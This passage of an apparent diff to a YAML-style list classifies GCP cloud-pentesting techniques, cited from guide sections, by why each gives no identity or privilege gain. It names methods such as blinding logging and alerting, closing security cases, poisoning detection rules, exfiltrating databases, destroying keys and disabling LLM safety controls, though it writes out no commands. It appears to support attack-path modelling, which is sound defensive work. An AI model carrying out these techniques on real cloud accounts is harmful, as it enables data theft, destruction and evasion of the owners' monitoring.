technique: pubsub.subscriptions.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubschemasattach-pubsubtopicsupdatepubsubschemascreate + technique: pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsconsume--destroy-a-backlog-with-seek---time-silent-by-default + technique: pubsub.subscriptions.consume — destroy a backlog with seek --time (silent by default) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cx-agent-studio-post-exploitation.md#cesconversationslistget--harvest-transcripts-and-tool-traces + technique: ces.conversations.list/get — harvest transcripts and tool traces + reason: 'No configuration-derived second identity: transcript data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cx-agent-studio-post-exploitation.md#cesguardrailsupdatedelete--weaken-application-safety-controls + technique: ces.guardrails.update/delete — weaken application safety controls + reason: 'No configuration-derived second identity: app safety control bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-managed-flink-enum.md#bigquery-engine-for-apache-flink-managedflinkgoogleapiscom + technique: BigQuery Engine for Apache Flink (managedflink.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-policy-troubleshooter-enum.md#policy-troubleshooter-policytroubleshootergoogleapiscom + technique: Policy Troubleshooter (policytroubleshooter.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-observability-enum.md#google-cloud-observability-observabilitygoogleapiscom + technique: Google Cloud Observability (observability.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-oracle-database-enum.md#oracle-databasegoogle-cloud-oracledatabasegoogleapiscom + technique: Oracle Database@Google Cloud (oracledatabase.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#parameter-manager-parametermanagergoogleapiscom + technique: Parameter Manager (parametermanager.googleapis.com) + reason: Render returns referenced secret values. An identity edge requires validated credential content and an + exact stronger-principal mapping; arbitrary payloads remain data. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-telemetry-enum.md#telemetry-otlp-api-telemetrygoogleapiscom + technique: Telemetry (OTLP) API (telemetry.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-private-catalog-enum.md#private-catalog-cloudprivatecataloggoogleapiscom--cloudprivatecatalogproducergoogleapiscom + technique: Private Catalog (cloudprivatecatalog.googleapis.com / cloudprivatecatalogproducer.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-security-command-center-enum.md#security-command-center-securitycentergoogleapiscom--securitycentermanagementgoogleapiscom + technique: Security Command Center (securitycenter.googleapis.com / securitycentermanagement.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-sensitive-data-protection-dlp-enum.md#sensitive-data-protection--dlp-dlpgoogleapiscom + technique: Sensitive Data Protection / DLP (dlp.googleapis.com) + reason: Service overview. DLP findings can quote a reusable credential only when includeQuote and the output content + support it; IAM/job metadata alone cannot identify a gained principal. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-web-security-scanner-enum.md#web-security-scanner-websecurityscannergoogleapiscom + technique: Web Security Scanner (websecurityscanner.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-recaptcha-enterprise-enum.md#recaptcha-enterprise-recaptchaenterprisegoogleapiscom + technique: reCAPTCHA Enterprise (recaptchaenterprise.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-search-enum.md#vertex-ai-search--agent-builder-discoveryenginegoogleapiscom + technique: Vertex AI Search / Agent Builder (discoveryengine.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-vpc-service-controls-enum.md#vpc-service-controls-accesscontextmanagergoogleapiscom + technique: VPC Service Controls (accesscontextmanager.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-migration-center-enum.md#enumeration-read-only--rolesmigrationcenterviewer + technique: Enumeration (read-only — roles/migrationcenter.viewer) + reason: Inventory or context; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-migration-center-enum.md#migrationcenterassetsgetlist--cross-cloud-estate-recon-highest-value + technique: migrationcenter.assets.get/.list — cross-cloud estate recon (highest value) + reason: Cross-cloud inventory only; no other identity. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-pam-enum.md#privileged-access-manager-privilegedaccessmanagergoogleapiscom + technique: Privileged Access Manager (privilegedaccessmanager.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-managed-microsoft-ad-enum.md#managed-service-for-microsoft-active-directory-managedidentitiesgoogleapiscom + technique: Managed Service for Microsoft Active Directory (managedidentities.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. + +# Additional action headings reconciled with the existing section audit at a66f094ede. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-gke-post-exploitation.md#containerclustersupdate--disable-gke-loggingmonitoring-components-anti-forensics + technique: container.clusters.update — disable GKE logging/monitoring components (anti-forensics) + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-integration-connectors-post-exploitation.md#rolesconnectorsinvoker--rolesconnectorslistener--use-a-connections-stored-credentials + technique: roles/connectors.invoker / roles/connectors.listener — use a connection's stored credentials + reason: The caller may act under a distinct stored backend credential, but current backend authorization, credential + validity, exact action/entity support, and successful execution are external runtime facts not established by + the GCP configuration snapshot. Listener only receives the configured event stream. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firebase-data-connect-post-exploitation.md#connectorsimpersonatequery--impersonatemutation--run-operations-as-any-end-user + technique: connectors.impersonateQuery / .impersonateMutation — run operations as any end-user + reason: Impersonation of a selected application user for a deployed connector operation is an identity gain + in the application plane. Model that user and operation when supported; no GCP IAM identity is implied. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firebase-data-connect-post-exploitation.md#servicesexecutegraphql--admin-graphql--full-data-readwrite-bypassing-auth + technique: Admin GraphQL mutation of app privilege fields + reason: executeGraphql grants direct administrator authority over the existing Data Connect service data + plane, including writes and @auth bypass. Model the service-plane admin target when supported; executeGraphqlRead + is read-only and distinct. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chronicleeventsudmsearch--chronicleeventssearchrawlogs--search-accessible-telemetry-for-secrets-and-topology + technique: chronicle.events.udmSearch / chronicle.events.searchRawLogs — search accessible telemetry for secrets and topology + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclereferencelistsupdate--chronicledatatablerowscreate--poison-rule-lookup-data + technique: chronicle.referenceLists.update / chronicle.dataTableRows.create — poison rule lookup data + reason: Application data/configuration mutation; no configured GCP principal identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclecasesclose--close-active-soar-cases-as-not-malicious + technique: chronicle.cases.close — close active SOAR cases as not malicious + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclefeedsdisable--archive-a-feed-and-stop-its-ingestion + technique: chronicle.feeds.disable — archive a feed and stop its ingestion + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chronicleruledeploymentsupdate--stop-a-rule-or-stop-promoting-its-detections-to-alerts + technique: chronicle.ruleDeployments.update — stop a rule or stop promoting its detections to alerts + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclerulesupdate--introduce-an-exclusion-into-detection-logic + technique: chronicle.rules.update — introduce an exclusion into detection logic + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-network-intelligence-center-post-exploitation.md#networkmanagementconnectivitytestslistgetcreatererun--recover-or-generate-internal-path-traces + technique: networkmanagement.connectivitytests.list/get/create/rerun — recover or generate internal path traces + reason: Network path/packet access only; a usable credential or impersonable GCP principal is not configuration-derived. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesexport--bulk-data-exfiltration-incl-cross-project-confused-deputy + technique: datastore.databases.export — bulk data exfiltration (incl. cross-project confused deputy) + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesclone--pitr-snapshot-clone-into-an-attacker-controlled-database-acl-bypass-exfil + technique: datastore.databases.clone — PITR-snapshot clone into an attacker-controlled database (ACL-bypass exfil) + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesimport--data-tampering--privileged-entity-injection + technique: datastore.databases.import — data tampering / privileged-entity injection + reason: Import can overwrite role/isAdmin entity fields, but an application privilege is gained only if a particular + application maps those keys to an account and trusts them after import. That content-to-authority mapping and subsequent + behavior are not collected. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoreentitiesgetlist--firestore-security-rules-are-bypassed-by-any-iam-principal + technique: datastore.entities.get/list — Firestore **security rules are bypassed** by any IAM principal + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesdelete--irreversible-database-dos + technique: datastore.databases.delete — irreversible database DoS + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesupdate--disable-delete-protection--pitr-defense-evasion-precursor + technique: datastore.databases.update — disable delete-protection / PITR (defense-evasion precursor) + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-looker-post-exploitation.md#lookerinstancesexport--export-instance-data-to-controlled-storage-and-kms-resources + technique: looker.instances.export — export instance data to controlled Storage and KMS resources + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-gemini-cloud-assist-post-exploitation.md#geminicloudassistinvestigationsrevisionsgetlist--harvest-troubleshooting-evidence-and-history + technique: geminicloudassist.investigations/revisions.get/list — harvest troubleshooting evidence and history + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-gemini-cloud-assist-post-exploitation.md#rolesgeminicloudassistuser--read-objects-from-known-cloud-storage-buckets + technique: roles/geminicloudassist.user — read objects from known Cloud Storage buckets + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-model-armor-post-exploitation.md#modelarmorfloorsettingsupdate--disable-orgfolderproject-wide-llm-safety-enforcement + technique: modelarmor.floorSettings.update — disable org/folder/project-wide LLM safety enforcement + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-model-armor-post-exploitation.md#modelarmortemplatesupdate--install-catch-all-exclusions-that-return-no_match_found + technique: modelarmor.templates.update — install catch-all exclusions that return NO_MATCH_FOUND + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#redis-auth-credential-disclosure---redisinstancesgetauthstring + technique: Redis AUTH credential disclosure - redis.instances.getAuthString + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#redis-cluster--data-plane-takeover-via-managed-token-auth-users---redisclustersconnect + technique: Redis Cluster — data-plane takeover via managed token-auth users - redis.clusters.connect + reason: Redis data-plane user/token and keyspace access; no GCP IAM identity is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#data-exfiltration-via-rdb-export---redisinstancesexport + technique: Data exfiltration via RDB export - redis.instances.export + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#config-tamper--its-limits---redisinstancesupdate + technique: Config tamper & its limits - redis.instances.update + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaclustersconnect-plus-kafka-read-acls---consume-topic-data + technique: managedkafka.clusters.connect plus Kafka READ ACLs - consume topic data + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaconnectorscreate--update---stream-a-topic-to-an-attacker-controlled-sink + technique: managedkafka.connectors.create / .update - stream a topic to an attacker-controlled sink + reason: A supported sink connector can copy records from topics that the Connect service agent may consume to a destination + where it may publish. This is data exfiltration through a server-side pipeline; no connector credential or second + principal is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaclustersconnect-plus-kafka-write-acls---inject-records + technique: managedkafka.clusters.connect plus Kafka WRITE ACLs - inject records + reason: Application data/configuration mutation; no configured GCP principal identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkatopicsupdate--delete-or-broker-topic-acls---expire-or-destroy-topic-data + technique: managedkafka.topics.update / .delete or broker topic ACLs - expire or destroy topic data + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaconsumergroupsupdate--delete---rewind-skip-or-erase-committed-offsets + technique: managedkafka.consumerGroups.update / .delete - rewind, skip, or erase committed offsets + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkasubjectsdelete--versionsdelete---disrupt-schema-registry-clients + technique: managedkafka.subjects.delete / versions.delete - disrupt Schema Registry clients + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetoverify + technique: cloudkms.cryptoKeyVersions.useToVerify + reason: Reconnaissance only; no identity or role transition. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetodecapsulate--post-quantum-kem-decrypt-oracle + technique: cloudkms.cryptoKeyVersions.useToDecapsulate — post-quantum KEM decrypt oracle + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsrestore + technique: cloudkms.cryptoKeyVersions.restore + reason: key restore (data/recovery); no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetoencrypt--cloudkmscryptokeyversionsusetoencryptviadelegation + technique: cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegation + reason: NON-PRIVESC; no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetosign + technique: cloudkms.cryptoKeyVersions.useToSign + reason: Artifact/data integrity effect depends on an external relying application; no configured GCP principal target is + documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsdestroy + technique: cloudkms.cryptoKeyVersions.destroy + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#here-are-the-steps-to-import-a-new-version-and-disabledelete-the-older-data + technique: 'Here are the steps to import a new version and disable/delete the older data:' + reason: Importing attacker-known material and promoting it can escrow future ciphertext for offline decryption; destructive + old-version steps also cause availability loss. Whether any future ciphertext is encrypted under that version is + runtime data evidence, and neither effect yields another principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsupdate + technique: cloudkms.cryptoKeyVersions.update + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeysupdate--key-access-justifications-zero-access-reasons-lockout-silent-to-version-monitoring-dos + technique: cloudkms.cryptoKeys.update — Key Access Justifications "zero access reasons" lockout (silent-to-version-monitoring + DoS) + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappvolumescreate--clone-data-from-a-snapshot-or-backup + technique: netapp.volumes.create — clone data from a snapshot or backup + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappontap--use-the-filtered-ontap-management-proxy + technique: netapp.ontap.* — use the filtered ONTAP management proxy + reason: Application data/configuration mutation; no configured GCP principal identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappvolumesupdate--expose-an-nfs-volume-to-an-attacker-controlled-client-range + technique: netapp.volumes.update — expose an NFS volume to an attacker-controlled client range + reason: Updating an NFS export policy can widen client CIDRs and file access if the client can route to the volume + and Unix file permissions allow it. This is data-plane file access, not monitoring control or impersonation of another + principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappvolumesdelete--snapshotsdelete--backupsdelete--destroy-data-and-recovery-points + technique: netapp.volumes.delete / snapshots.delete / backups.delete — destroy data and recovery points + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringtimeserieslist--monitoringmetricdescriptorslist--telemetry-reconnaissance + technique: monitoring.timeSeries.list / monitoring.metricDescriptors.list — telemetry reconnaissance + reason: Reconnaissance only; no identity or role transition. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringalertslistget--mine-current-and-historical-policy-violations + technique: monitoring.alerts.list/get — mine current and historical policy violations + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringtimeseriescreate--forge-user-defined-telemetry + technique: monitoring.timeSeries.create — forge user-defined telemetry + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringuptimecheckconfigsupdate--weaken-content-and-status-validation + technique: monitoring.uptimeCheckConfigs.update — weaken content and status validation + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringmetricdescriptorsdelete--disable-a-user-defined-metric + technique: monitoring.metricDescriptors.delete — disable a user-defined metric + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringdashboardsupdate--delete--visual-blinding + technique: monitoring.dashboards.update / .delete — visual blinding + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringnotificationchannelsupdate--delete--stop-alert-delivery + technique: monitoring.notificationChannels.update / .delete — stop alert delivery + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringalertpoliciesupdate--delete--disable-or-remove-detections + technique: monitoring.alertPolicies.update / .delete — disable or remove detections + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringslosupdate--delete--weaken-slo-and-burn-rate-monitoring + technique: monitoring.slos.update / .delete — weaken SLO and burn-rate monitoring + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-live-stream-post-exploitation.md#livestreamchannelsget--recover-an-rtmp-distribution-stream-key + technique: livestream.channels.get — recover an RTMP distribution stream key + reason: third-party stream key (data); no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-live-stream-post-exploitation.md#livestreamassetscreate--livestreameventscreate--re-host-service-agent-readable-media + technique: livestream.assets.create + livestream.events.create — re-host service-agent-readable media + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-live-stream-post-exploitation.md#livestreaminputsget--inject-content-through-a-disclosed-input-uri + technique: livestream.inputs.get — inject content through a disclosed input URI + reason: media content injection; no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#cloudtracetraceslistget-or-observabilityviewsaccess--mine-trace-spans-for-credentials-and-internal-architecture + technique: cloudtrace.traces.list/get or observability.views.access — mine trace spans for credentials and internal architecture + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#observabilitylinkscreate--bigquery-read-permissions--expose-trace-storage-through-bigquery-iam + technique: observability.links.create + BigQuery read permissions — expose trace storage through BigQuery IAM + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#errorreportinggroupslist--errorreportingerroreventslist--mine-stack-traces-and-request-context + technique: errorreporting.groups.list / errorreporting.errorEvents.list — mine stack traces and request context + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#errorreportingerroreventscreate-or-cloudtracetracespatch--inject-misleading-telemetry + technique: errorreporting.errorEvents.create or cloudtrace.traces.patch — inject misleading telemetry + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md#widen-nfs-export-access---fileinstancesupdate + technique: Widen NFS export access - file.instances.update + reason: NFS export widening (data exposure); no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#read-log-entries--logginglogentrieslist-and-loggingviewsaccess + technique: Read log entries — logging.logEntries.list and logging.views.access + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#copy-historical-logs-to-cloud-storage--loggingbucketscopylogentries + technique: Copy historical logs to Cloud Storage — logging.buckets.copyLogEntries + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#create-a-linked-bigquery-dataset--logginglinkscreate + technique: Create a linked BigQuery dataset — logging.links.create + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#change-access-to-a-log-view--loggingviewssetiampolicy + technique: Change access to a log view — logging.views.setIamPolicy + reason: Grant is limited to log-view data access; no other principal identity or broader GCP IAM role is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#forge-log-entries--logginglogentriescreate + technique: Forge log entries — logging.logEntries.create + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#blind-a-custom-log-view--loggingviewsupdate + technique: Blind a custom log view — logging.views.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#change-a-log-based-metric--logginglogmetricsupdate + technique: Change a log-based metric — logging.logMetrics.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#poison-defaults-for-future-projects-and-folders--loggingsettingsupdate + technique: Poison defaults for future projects and folders — logging.settings.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-from-_default--logginglogsdelete + technique: Delete a log from _Default — logging.logs.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-bucket--loggingbucketsdelete + technique: Delete a log bucket — logging.buckets.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-linked-bigquery-dataset--logginglinksdelete + technique: Delete a linked BigQuery dataset — logging.links.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-custom-log-view--loggingviewsdelete + technique: Delete a custom log view — logging.views.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-based-metric--logginglogmetricsdelete + technique: Delete a log-based metric — logging.logMetrics.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-sink--loggingsinksdelete + technique: Delete a log sink — logging.sinks.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#alter-retention-lock-fields-or-cmek--loggingbucketsupdate + technique: Alter retention, lock, fields, or CMEK — logging.buckets.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#disable-exclude-or-redirect-routing--loggingsinksupdate-and-loggingexclusions + technique: Disable, exclude, or redirect routing — logging.sinks.update and logging.exclusions.* + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-healthcare-post-exploitation.md#healthcaredatasetsdeidentify--stage-a-transformed-copy-without-source-record-read-permissions + technique: healthcare.datasets.deidentify — stage a transformed copy without source record-read permissions + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-healthcare-post-exploitation.md#healthcarefhirstoresupdate--disable-fhir-consent-enforcement + technique: healthcare.fhirStores.update — disable FHIR consent enforcement + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-data-connect-enum.md#firebase-data-connect-firebasedataconnectgoogleapiscom + technique: Firebase Data Connect (firebasedataconnect.googleapis.com) + reason: The heading gives service context, but connectors.create/update can publish new operations or relax + @auth for a controlled app user. Model only a deployed, newly callable privileged operation; inventory + alone remains excluded. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-topology-enum.md#app-topology-apptopologygoogleapiscom + technique: App Topology (apptopology.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: 